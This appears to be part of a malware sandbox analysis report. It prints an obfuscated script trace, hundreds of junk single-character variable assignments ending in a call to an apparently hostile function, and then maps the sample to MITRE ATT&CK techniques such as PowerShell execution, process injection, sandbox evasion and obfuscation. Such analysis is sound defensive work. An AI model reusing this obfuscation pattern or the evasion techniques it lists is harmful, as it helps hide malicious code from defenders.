467	aqrfml = "b";
468	aqrfml = "P";
469	aqrfml = "k";
470	aqrfml = "A";
471	aqrfml = "l";
472	aqrfml = "e";
473	aqrfml = "c";
474	aqrfml = "T";
475	aqrfml = "r";
476	aqrfml = "D";
477	aqrfml = "I";
478	aqrfml = "u";
479	aqrfml = "Z";
480	aqrfml = "V";
481	aqrfml = "K";
482	aqrfml = "n";
483	aqrfml = "M";
484	aqrfml = "L";
485	aqrfml = "e";
486	aqrfml = "v";
487	xklvaf = "S";
488	xklvaf = "u";
489	xklvaf = "u";
490	xklvaf = "U";
491	xklvaf = "V";
492	xklvaf = "r";
493	xklvaf = "Q";
494	xklvaf = "Y";
495	xklvaf = "T";
496	xklvaf = "u";
497	xklvaf = "O";
498	xklvaf = "z";
499	xklvaf = "i";
500	xklvaf = "m";
501	xklvaf = "i";
502	xklvaf = "a";
503	xklvaf = "r";
504	xklvaf = "K";
505	xklvaf = "T";
506	xklvaf = "R";
507	qavhnki = "w";
508	qavhnki = "B";
509	qavhnki = "M";
510	qavhnki = "V";
511	qavhnki = "t";
512	qavhnki = "M";
513	qavhnki = "C";
514	qavhnki = "m";
515	qavhnki = "t";
516	qavhnki = "U";
517	qavhnki = "O";
518	qavhnki = "M";
519	qavhnki = "J";
520	qavhnki = "W";
521	qavhnki = "A";
522	qavhnki = "A";
523	qavhnki = "F";
524	qavhnki = "r";
525	qavhnki = "q";
526	qavhnki = "r";
527	qavhnki = "k";
528	qavhnki = "s";
529	qavhnki = "X";
530	qavhnki = "K";
531	qavhnki = "y";
532	qavhnki = "Z";
533	qavhnki = "W";
534	qavhnki = "H";
535	qavhnki = "J";
536	qavhnki = "n";
537	qavhnki = "e";
538	qavhnki = "E";
539	qavhnki = "y";
540	qavhnki = "d";
541	qavhnki = "X";
542	qavhnki = "D";
543	qavhnki = "y";
544	qavhnki = "l";
545	uxgomz = "s";
546	uxgomz = "F";
547	uxgomz = "g";
548	uxgomz = "J";
549	uxgomz = "s";
550	uxgomz = "b";
551	uxgomz = "T";
552	uxgomz = "c";
553	uxgomz = "B";
554	uxgomz = "G";
555	uxgomz = "U";
556	uxgomz = "k";
557	uxgomz = "Y";
558	uxgomz = "N";
559	uxgomz = "q";
560	uxgomz = "v";
561	uxgomz = "r";
562	uxgomz = "x";
563	uxgomz = "D";
564	uxgomz = "v";
565	uxgomz = "x";
566	uxgomz = "f";
567	uxgomz = "y";
568	uxgomz = "H";
569	uxgomz = "C";
570	uxgomz = "t";
571	uxgomz = "q";
572	uxgomz = "L";
573	uxgomz = "L";
574	uxgomz = "v";
575	uxgomz = "e";
576	uxgomz = "U";
577	uxgomz = "M";
578	uxgomz = "H";
579	uxgomz = "V";
580	uxgomz = "F";
581	uxgomz = "q";
582	uxgomz = "C";
583	uxgomz = "Y";
584	uxgomz = "E";
585	uxgomz = "C";
586	uxgomz = "S";
587	uxgomz = "G";
588	uxgomz = "\"";
589	vnrxm = "F";
590	vnrxm = "N";
591	vnrxm = "s";
592	vnrxm = "i";
593	vnrxm = "U";
594	vnrxm = "A";
595	vnrxm = "s";
596	vnrxm = "o";
597	vnrxm = "n";
598	vnrxm = "J";
599	vnrxm = "b";
600	vnrxm = "y";
601	vnrxm = "Z";
602	vnrxm = "B";
603	vnrxm = "h";
604	vnrxm = "k";
605	vnrxm = "s";
606	ikmfw = "v";
607	ikmfw = "A";
608	ikmfw = "R";
609	ikmfw = "X";
610	ikmfw = "a";
611	ikmfw = "V";
612	ikmfw = "G";
613	ikmfw = "a";
614	ikmfw = "e";
615	ikmfw = "D";
616	ikmfw = "K";
617	ikmfw = "H";
618	ikmfw = "x";
619	ikmfw = "Y";
620	ikmfw = "S";
621	ikmfw = "T";
622	ikmfw = "J";
623	ikmfw = "c";
624	ikmfw = "k";
625	ikmfw = "P";
626	ikmfw = "p";
627	ikmfw = "o";
628	ikmfw = "H";
629	ikmfw = "n";
630	ikmfw = "n";
631	ikmfw = "p";
632	ikmfw = "E";
633	ikmfw = "Z";
634	ikmfw = "D";
635	ikmfw = "T";
636	ikmfw = "i";
637	ikmfw = "Z";
638	ikmfw = "m";
639	ikmfw = "p";
640	ikmfw = "M";
641	ikmfw = "T";
642	ikmfw = "z";
643	ikmfw = "Y";
644	ikmfw = "m";
645	ikmfw = "U";
646	ikmfw = "r";
647	ikmfw = "L";
648	ikmfw = "l";
649	ikmfw = ".";
650	tihbzf = "M";
651	tihbzf = "o";
652	tihbzf = "o";
653	tihbzf = "J";
654	tihbzf = "x";
655	tihbzf = "S";
656	tihbzf = "B";
657	tihbzf = "E";
658	tihbzf = "J";
659	tihbzf = "M";
660	tihbzf = "S";
661	tihbzf = "V";
662	tihbzf = "L";
663	tihbzf = "D";
664	tihbzf = "Y";
665	tihbzf = "D";
666	tihbzf = ":";
667	uesxbnk = "z";
668	uesxbnk = "W";
669	uesxbnk = "x";
670	uesxbnk = "O";
671	uesxbnk = "M";
672	uesxbnk = "M";
673	uesxbnk = "o";
674	uesxbnk = "a";
675	uesxbnk = "d";
676	uesxbnk = "s";
677	uesxbnk = "E";
678	uesxbnk = "c";
679	uesxbnk = "u";
680	uesxbnk = "m";
681	uesxbnk = "s";
682	uesxbnk = "G";
683	uesxbnk = "B";
684	uesxbnk = "F";
685	uesxbnk = "p";
686	uesxbnk = "g";
687	uesxbnk = "j";
688	uesxbnk = "t";
689	uesxbnk = "g";
690	uesxbnk = "h";
691	uesxbnk = "u";
692	uesxbnk = "g";
693	uesxbnk = "N";
694	uesxbnk = "a";
695	uesxbnk = "v";
696	uesxbnk = "o";
697	uesxbnk = "m";
698	uesxbnk = "a";
699	uesxbnk = "L";
700	uesxbnk = "Q";
701	uesxbnk = "X";
702	uesxbnk = "H";
703	uesxbnk = "F";
704	uesxbnk = "o";
705	uesxbnk = "a";
706	uesxbnk = "V";
707	uesxbnk = "p";
708	uesxbnk = "s";
709	uesxbnk = "e";
710	cwuemv = "G";
711	cwuemv = "G";
712	cwuemv = "w";
713	cwuemv = "E";
714	cwuemv = "V";
715	cwuemv = "t";
716	cwuemv = "O";
717	cwuemv = "x";
718	cwuemv = "J";
719	cwuemv = "w";
720	cwuemv = "A";
721	cwuemv = "Y";
722	cwuemv = "a";
723	cwuemv = "N";
724	cwuemv = "e";
725	cwuemv = "o";
726	cwuemv = "l";
727	cwuemv = "i";
728	cwuemv = "T";
729	cwuemv = "V";
730	cwuemv = "E";
731	cwuemv = "x";
732	cwuemv = "g";
733	cwuemv = "v";
734	cwuemv = "r";
735	cwuemv = "R";
736	cwuemv = "x";
737	cwuemv = "o";
738	cwuemv = "d";
739	cwuemv = "M";
740	cwuemv = "E";
741	cwuemv = "i";
742	cwuemv = "G";
743	cwuemv = "M";
744	cwuemv = "O";
745	cwuemv = "Z";
746	cwuemv = "L";
747	cwuemv = "O";
748	cwuemv = "E";
749	cwuemv = "K";
750	cwuemv = "M";
751	cwuemv = "m";
752	cwuemv = "Z";
753	cwuemv = "n";
754	beqimh = "q";
755	btvdd = "R";
756	btvdd = "q";
757	btvdd = "n";
758	btvdd = "l";
759	btvdd = "T";
760	btvdd = "m";
761	btvdd = "j";
762	btvdd = "u";
763	btvdd = "w";
764	btvdd = "Y";
765	btvdd = "A";
766	btvdd = "M";
767	btvdd = "i";
768	hldnvbyl = "c";
769	hldnvbyl = "I";
770	hldnvbyl = "i";
771	hldnvbyl = "X";
772	hldnvbyl = "O";
773	hldnvbyl = "k";
774	hldnvbyl = "Z";
775	hldnvbyl = "G";
776	hldnvbyl = "D";
777	hldnvbyl = "e";
778	hldnvbyl = "j";
779	hldnvbyl = "i";
780	hldnvbyl = "s";
781	hldnvbyl = "j";
782	hldnvbyl = "b";
783	hldnvbyl = "u";
784	hldnvbyl = "g";
785	hldnvbyl = "O";
786	hldnvbyl = "b";
787	hldnvbyl = "N";
788	hldnvbyl = "g";
789	hldnvbyl = "b";
790	hldnvbyl = "V";
791	hldnvbyl = "R";
792	hldnvbyl = "R";
793	hldnvbyl = "Z";
794	hldnvbyl = "m";
795	hldnvbyl = "R";
796	hldnvbyl = "h";
797	hldnvbyl = "V";
798	hldnvbyl = "t";
799	hldnvbyl = "d";
800	hldnvbyl = "U";
801	hldnvbyl = "g";
802	hldnvbyl = "P";
803	hldnvbyl = "j";
804	hldnvbyl = "m";
805	hldnvbyl = "K";
806	hldnvbyl = "%";
807	wrbizrgq = "m";
808	wrbizrgq = "B";
809	wrbizrgq = "g";
810	wrbizrgq = "G";
811	wrbizrgq = "J";
812	wrbizrgq = "E";
813	wrbizrgq = "Q";
814	wrbizrgq = "q";
815	wrbizrgq = "e";
816	wrbizrgq = "h";
817	wrbizrgq = "q";
818	wrbizrgq = "S";
819	wrbizrgq = "i";
820	wrbizrgq = "W";
821	wrbizrgq = "w";
822	wrbizrgq = "s";
823	wrbizrgq = "d";
824	wrbizrgq = "Y";
825	wrbizrgq = "T";
826	wrbizrgq = "e";
827	wrbizrgq = "G";
828	wrbizrgq = "B";
829	wrbizrgq = "t";
830	wrbizrgq = "K";
831	wrbizrgq = "B";
832	wrbizrgq = "W";
833	wrbizrgq = "Z";
834	wrbizrgq = "U";
835	wrbizrgq = "s";
836	wrbizrgq = "k";
837	wrbizrgq = "j";
838	wrbizrgq = "y";
839	wrbizrgq = "a";
840	wrbizrgq = "J";
841	wrbizrgq = "W";
842	wrbizrgq = "q";
843	wrbizrgq = "A";
844	wrbizrgq = "b";
845	wrbizrgq = "r";
846	wrbizrgq = "n";
847	wrbizrgq = "5";
848	kirtr = "Y";
849	kirtr = "l";
850	kirtr = "I";
851	kirtr = "A";
852	kirtr = "t";
853	kirtr = "y";
854	kirtr = "K";
855	kirtr = "o";
856	kirtr = "Y";
857	kirtr = "P";
858	kirtr = "C";
859	kirtr = "Q";
860	kirtr = "n";
861	kirtr = "y";
862	kirtr = "N";
863	kirtr = "G";
864	kirtr = "s";
865	kirtr = "c";
866	kirtr = "P";
867	kirtr = "U";
868	kirtr = "H";
869	kirtr = "k";
870	kirtr = "G";
871	kirtr = "J";
872	kirtr = "s";
873	kirtr = "w";
874	kirtr = "X";
875	kirtr = "v";
876	kirtr = "X";
877	kirtr = "x";
878	kirtr = "Z";
879	kirtr = "j";
880	kirtr = "z";
881	kirtr = "v";
882	kirtr = "U";
883	kirtr = "7";
884	xhcxyj = "p";
885	oplxxek = "g";
886	oplxxek = "Z";
887	oplxxek = "I";
888	bnjlpck = "v";
889	bnjlpck = "P";
890	bnjlpck = "C";
891	bnjlpck = "G";
892	bnjlpck = "K";
893	bnjlpck = "y";
894	bnjlpck = "z";
895	bnjlpck = "y";
896	bnjlpck = "E";
897	bnjlpck = "b";
898	bnjlpck = "u";
899	bnjlpck = "a";
900	bnjlpck = "a";
901	bnjlpck = "A";
902	bnjlpck = "n";
903	bnjlpck = "u";
904	bnjlpck = "p";
905	bnjlpck = "R";
906	bnjlpck = "G";
907	bnjlpck = "z";
908	bnjlpck = "I";
909	bnjlpck = "n";
910	bnjlpck = "k";
911	bnjlpck = "x";
912	bnjlpck = "o";
913	bnjlpck = "f";
914	bnjlpck = "K";
915	bnjlpck = "E";
916	bnjlpck = "p";
917	bnjlpck = "s";
918	bnjlpck = "D";
919	bnjlpck = "M";
920	bnjlpck = "X";
921	bnjlpck = "Q";
922	bnjlpck = "Y";
923	bnjlpck = "J";
924	bnjlpck = "i";
925	bnjlpck = "J";
926	bnjlpck = "u";
927	bnjlpck = "l";
928	bnjlpck = "r";
929	bnjlpck = "O";
930	bnjlpck = " ";
931	tuelnjibk = "V";
932	tuelnjibk = "T";
933	tuelnjibk = "U";
934	tuelnjibk = "K";
935	tuelnjibk = "K";
936	tuelnjibk = "I";
937	tuelnjibk = "W";
938	tuelnjibk = "A";
939	tuelnjibk = "Q";
940	bovaut = "v";
941	bovaut = "v";
942	bovaut = "r";
943	bovaut = "t";
944	bovaut = "P";
945	bovaut = "E";
946	bovaut = "\\";
947	covheuwox = "v";
948	covheuwox = "y";
949	covheuwox = "P";
950	covheuwox = "D";
951	covheuwox = "h";
952	covheuwox = "z";
953	covheuwox = "n";
954	covheuwox = "I";
955	covheuwox = "y";
956	covheuwox = "W";
957	covheuwox = "l";
958	covheuwox = "l";
959	covheuwox = "D";
960	covheuwox = "t";
961	covheuwox = "M";
962	covheuwox = "a";
963	covheuwox = "f";
964	covheuwox = "n";
965	covheuwox = "v";
966	covheuwox = "h";
967	covheuwox = "u";
968	covheuwox = "C";
969	covheuwox = "Z";
970	covheuwox = "Z";
971	covheuwox = "r";
972	covheuwox = "K";
973	covheuwox = "S";
974	covheuwox = "D";
975	covheuwox = "o";
976	delblz = "V";
977	delblz = "l";
978	delblz = "L";
979	delblz = "D";
980	delblz = "E";
981	delblz = "L";
982	delblz = "G";
983	delblz = "M";
984	delblz = "S";
985	delblz = "c";
986	delblz = "j";
987	delblz = "q";
988	delblz = "p";
989	delblz = "R";
990	delblz = "N";
991	delblz = "R";
992	delblz = "E";
993	delblz = "B";
994	delblz = "E";
995	delblz = "Z";
996	delblz = "M";
997	delblz = "Z";
998	delblz = "z";
999	delblz = "i";
1000	delblz = "o";
1001	delblz = "D";
1002	delblz = "h";
1003	delblz = "W";
1004	delblz = "Z";
1005	delblz = "O";
1006	delblz = "u";
1007	delblz = "l";
1008	delblz = "o";
1009	delblz = "c";
1010	delblz = "d";
1011	delblz = "8";
1012	yftaq = "W";
1013	yftaq = "M";
1014	yftaq = "E";
1015	yftaq = "P";
1016	yftaq = "p";
1017	yftaq = "u";
1018	yftaq = "p";
1019	yftaq = "A";
1020	yftaq = "E";
1021	yftaq = "H";
1022	yftaq = "v";
1023	yftaq = "r";
1024	yftaq = "s";
1025	yftaq = "K";
1026	yftaq = "q";
1027	yftaq = "o";
1028	yftaq = "E";
1029	yftaq = "J";
1030	yftaq = "s";
1031	yftaq = "M";
1032	yftaq = "x";
1033	yftaq = "f";
1034	yftaq = "e";
1035	yftaq = "w";
1036	yftaq = "f";
1037	yftaq = "U";
1038	yftaq = "v";
1039	yftaq = "m";
1040	yftaq = "x";
1041	yftaq = "r";
1042	yftaq = "I";
1043	yftaq = "/";
1044	dqznsm = "A";
1045	dqznsm = "l";
1046	dqznsm = "M";
1047	dqznsm = "l";
1048	dqznsm = "e";
1049	dqznsm = "s";
1050	dqznsm = "p";
1051	dqznsm = "R";
1052	dqznsm = "l";
1053	dqznsm = "o";
1054	dqznsm = "E";
1055	dqznsm = "h";
1056	yvddxssc = "I";
1057	yvddxssc = "g";
1058	yvddxssc = "N";
1059	yvddxssc = "H";
1060	yvddxssc = "y";
1061	yvddxssc = "s";
1062	yvddxssc = "M";
1063	yvddxssc = "r";
1064	ugpekpcxm = "N";
1065	ugpekpcxm = "g";
1066	ugpekpcxm = "d";
1067	ugpekpcxm = "u";
1068	ugpekpcxm = "T";
1069	ugpekpcxm = "x";
1070	ugpekpcxm = "q";
1071	ugpekpcxm = "x";
1072	ugpekpcxm = "A";
1073	ugpekpcxm = "N";
1074	ugpekpcxm = "T";
1075	ugpekpcxm = "h";
1076	ugpekpcxm = "e";
1077	ugpekpcxm = "W";
1078	ugpekpcxm = "I";
1079	ugpekpcxm = "C";
1080	ugpekpcxm = "Q";
1081	ugpekpcxm = "G";
1082	ugpekpcxm = "q";
1083	ugpekpcxm = "b";
1084	ugpekpcxm = "r";
1085	ugpekpcxm = "t";
1086	ugpekpcxm = "n";
1087	ugpekpcxm = "T";
1088	tjtmzyp = "B";
1089	tjtmzyp = "s";
1090	tjtmzyp = "k";
1091	tjtmzyp = "O";
1092	tjtmzyp = "Y";
1093	tjtmzyp = "d";
1094	tjtmzyp = "e";
1095	tjtmzyp = "a";
1096	tjtmzyp = "p";
1097	tjtmzyp = "I";
1098	tjtmzyp = "Z";
1099	tjtmzyp = "X";
1100	tjtmzyp = "e";
1101	tjtmzyp = "F";
1102	tjtmzyp = "E";
1103	tjtmzyp = "j";
1104	tjtmzyp = "e";
1105	tjtmzyp = "m";
1106	hbsol = "H";
1107	hbsol = "X";
1108	hbsol = "H";
1109	hbsol = "X";
1110	hbsol = "d";
1111	hbsol = "J";
1112	hbsol = "B";
1113	hbsol = "C";
1114	hbsol = "d";
1115	hbsol = "y";
1116	hbsol = "Q";
1117	hbsol = "D";
1118	hbsol = "F";
1119	hbsol = "m";
1120	hbsol = "U";
1121	hbsol = "e";
1122	hbsol = "C";
1123	hbsol = "b";
1124	hbsol = "Y";
1125	hbsol = "F";
1126	hbsol = "M";
1127	hbsol = "m";
1128	hbsol = "U";
1129	hbsol = "U";
1130	hbsol = "L";
1131	hbsol = "I";
1132	hbsol = "g";
1133	hbsol = "B";
1134	hbsol = "U";
1135	hbsol = "R";
1136	hbsol = "K";
1137	hbsol = "x";
1138	hbsol = "D";
1139	hbsol = "v";
1140	hbsol = "e";
1141	hbsol = "V";
1142	hbsol = "l";
1143	hbsol = "q";
1144	hbsol = "R";
1145	hbsol = "r";
1146	hbsol = "g";
1147	ajopka = "d";
1148	ajopka = "F";
1149	ajopka = "U";
1150	ajopka = "z";
1151	ajopka = "H";
1152	ajopka = "s";
1153	ajopka = "V";
1154	ajopka = "N";
1155	ajopka = "W";
1156	ajopka = "o";
1157	ajopka = "V";
1158	ajopka = "x";
1159	ajopka = "p";
1160	ajopka = "n";
1161	ajopka = "l";
1162	ajopka = "f";
1163	ajopka = "I";
1164	ajopka = "X";
1165	ajopka = "S";
1166	ajopka = "n";
1167	ajopka = "k";
1168	ajopka = "A";
1169	ajopka = "Q";
1170	ajopka = "H";
1171	ajopka = "T";
1172	ajopka = "V";
1173	ajopka = "L";
1174	ajopka = "a";
1175	ajopka = "l";
1176	ajopka = "e";
1177	ajopka = "L";
1178	ajopka = "t";
1179	ajopka = "A";
1180	ajopka = "l";
1181	ajopka = "K";
1182	zqbney = "s";
1183	zqbney = "L";
1184	nlxuwpqsz = "i";
1185	nlxuwpqsz = "e";
1186	nlxuwpqsz = "V";
1187	nlxuwpqsz = "F";
1188	nlxuwpqsz = "J";
1189	nlxuwpqsz = "F";
1190	nlxuwpqsz = "U";
1191	nlxuwpqsz = "&";
1192	edwbml = "k";
1193	edwbml = "B";
1194	edwbml = "p";
1195	edwbml = "u";
1196	edwbml = "k";
1197	edwbml = "q";
1198	edwbml = "q";
1199	edwbml = "g";
1200	edwbml = "V";
1201	edwbml = "R";
1202	edwbml = "r";
1203	edwbml = "O";
1204	edwbml = "a";
1205	edwbml = "O";
1206	edwbml = "U";
1207	edwbml = "Z";
1208	edwbml = "w";
1209	edwbml = "Q";
1210	edwbml = "A";
1211	edwbml = "V";
1212	edwbml = "q";
1213	edwbml = "T";
1214	edwbml = "c";
1215	edwbml = "Q";
1216	edwbml = "l";
1217	edwbml = "V";
1218	edwbml = "l";
1219	edwbml = "l";
1220	edwbml = "e";
1221	edwbml = "d";
1222	edwbml = "i";
1223	edwbml = "f";
1224	edwbml = "9";
1225	hjlnmrmq = "S";
1226	hjlnmrmq = "s";
1227	hjlnmrmq = "W";
1228	hjlnmrmq = "A";
1229	hjlnmrmq = "K";
1230	hjlnmrmq = "G";
1231	hjlnmrmq = "Y";
1232	hjlnmrmq = "b";
1233	hjlnmrmq = "X";
1234	hjlnmrmq = "z";
1235	hjlnmrmq = "Z";
1236	hjlnmrmq = "L";
1237	hjlnmrmq = "f";
1238	hjlnmrmq = "j";
1239	hjlnmrmq = "Q";
1240	hjlnmrmq = "L";
1241	hjlnmrmq = "Z";
1242	hjlnmrmq = "J";
1243	hjlnmrmq = "k";
1244	lwgzpi = "Y";
1245	lwgzpi = "S";
1246	lwgzpi = "G";
1247	lwgzpi = "L";
1248	lwgzpi = "y";
1249	lwgzpi = "Q";
1250	lwgzpi = "v";
1251	lwgzpi = "g";
1252	lwgzpi = "k";
1253	lwgzpi = "j";
1254	lwgzpi = "n";
1255	lwgzpi = "J";
1256	lwgzpi = "N";
1257	lwgzpi = "n";
1258	lwgzpi = "L";
1259	lwgzpi = "F";
1260	lwgzpi = "I";
1261	lwgzpi = "E";
1262	lwgzpi = "X";
1263	lwgzpi = "d";
1264	lwgzpi = "n";
1265	lwgzpi = "d";
1266	dsuknz = "V";
1267	dsuknz = "r";
1268	dsuknz = "X";
1269	dsuknz = "x";
1270	dsuknz = "G";
1271	dsuknz = "c";
1272	dsuknz = "p";
1273	dsuknz = "T";
1274	dsuknz = "W";
1275	dsuknz = "q";
1276	dsuknz = "D";
1277	dsuknz = "g";
1278	dsuknz = "B";
1279	dsuknz = "F";
1280	dsuknz = "j";
1281	dsuknz = "m";
1282	dsuknz = "F";
1283	dsuknz = "t";
1284	yojji = "O";
1285	yojji = "t";
1286	yojji = "b";
1287	mjochtwm = "f";
1288	mjochtwm = "M";
1289	mjochtwm = "h";
1290	mjochtwm = "c";
1291	mjochtwm = "f";
1292	mjochtwm = "G";
1293	mjochtwm = "c";
1294	mjochtwm = "K";
1295	mjochtwm = "W";
1296	mjochtwm = "I";
1297	mjochtwm = "P";
1298	mjochtwm = "b";
1299	mjochtwm = "s";
1300	mjochtwm = "M";
1301	mjochtwm = "C";
1302	mjochtwm = "I";
1303	mjochtwm = "R";
1304	mjochtwm = "r";
1305	mjochtwm = "Z";
1306	mjochtwm = "U";
1307	mjochtwm = "F";
1308	mjochtwm = "F";
1309	cxoyx = "O";
1310	cxoyx = "q";
1311	cxoyx = "j";
1312	cxoyx = "K";
1313	cxoyx = "v";
1314	cxoyx = "4";
1315	ztlosstr = "U";
1316	ztlosstr = "B";
1317	ztlosstr = "N";
1318	ztlosstr = "S";
1319	ztlosstr = "e";
1320	ztlosstr = "k";
1321	ztlosstr = "w";
1322	ztlosstr = "V";
1323	ztlosstr = "Q";
1324	ztlosstr = "y";
1325	ztlosstr = "V";
1326	ztlosstr = "l";
1327	ztlosstr = "P";
1328	ztlosstr = "W";
1329	ztlosstr = "t";
1330	ztlosstr = "Q";
1331	ztlosstr = "z";
1332	ztlosstr = "Q";
1333	ztlosstr = "_";
1334	sbasrp = "S";
1335	sbasrp = "j";
1336	sbasrp = "q";
1337	sbasrp = "s";
1338	sbasrp = "a";
1339	sbasrp = "a";
1340	sbasrp = "H";
1341	sbasrp = "u";
1342	sbasrp = "D";
1343	sbasrp = "C";
1344	sbasrp = "k";
1345	sbasrp = "k";
1346	sbasrp = "A";
1347	sbasrp = "u";
1348	lankq = "F";
1349	lankq = "f";
1350	lankq = "Z";
1351	lankq = "f";
1352	lankq = "x";
1353	lankq = "Z";
1354	lankq = "U";
1355	lankq = "j";
1356	lankq = "X";
1357	lankq = "h";
1358	lankq = "M";
1359	lankq = "W";
1360	lankq = "C";
1361	huoff = "v";
1362	huoff = "d";
1363	huoff = "u";
1364	huoff = "T";
1365	huoff = "c";
1366	huoff = "U";
1367	huoff = "3";
1368	nvmxfc = "P";
1369	nvmxfc = "l";
1370	nvmxfc = "d";
1371	nvmxfc = "d";
1372	nvmxfc = "F";
1373	nvmxfc = "l";
1374	nvmxfc = "Y";
1375	nvmxfc = "R";
1376	nvmxfc = "a";
1377	nvmxfc = "r";
1378	nvmxfc = "O";
1379	nvmxfc = "V";
1380	nvmxfc = "b";
1381	nvmxfc = "o";
1382	nvmxfc = "P";
1383	nvmxfc = "c";
1384	nvmxfc = "Q";
1385	nvmxfc = "y";
1386	nvmxfc = "O";
1387	nvmxfc = "M";
1388	nvmxfc = "Q";
1389	nvmxfc = "g";
1390	nvmxfc = "e";
1391	nvmxfc = "j";
1392	nvmxfc = "w";
1393	nvmxfc = "Q";
1394	nvmxfc = "N";
1395	nvmxfc = "r";
1396	nvmxfc = "O";
1397	nvmxfc = "r";
1398	nvmxfc = "k";
1399	nvmxfc = "Y";
1400	nvmxfc = "U";
1401	nvmxfc = "X";
1402	nvmxfc = "2";
1403	bdjbzwd ( );	bdjbzwd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
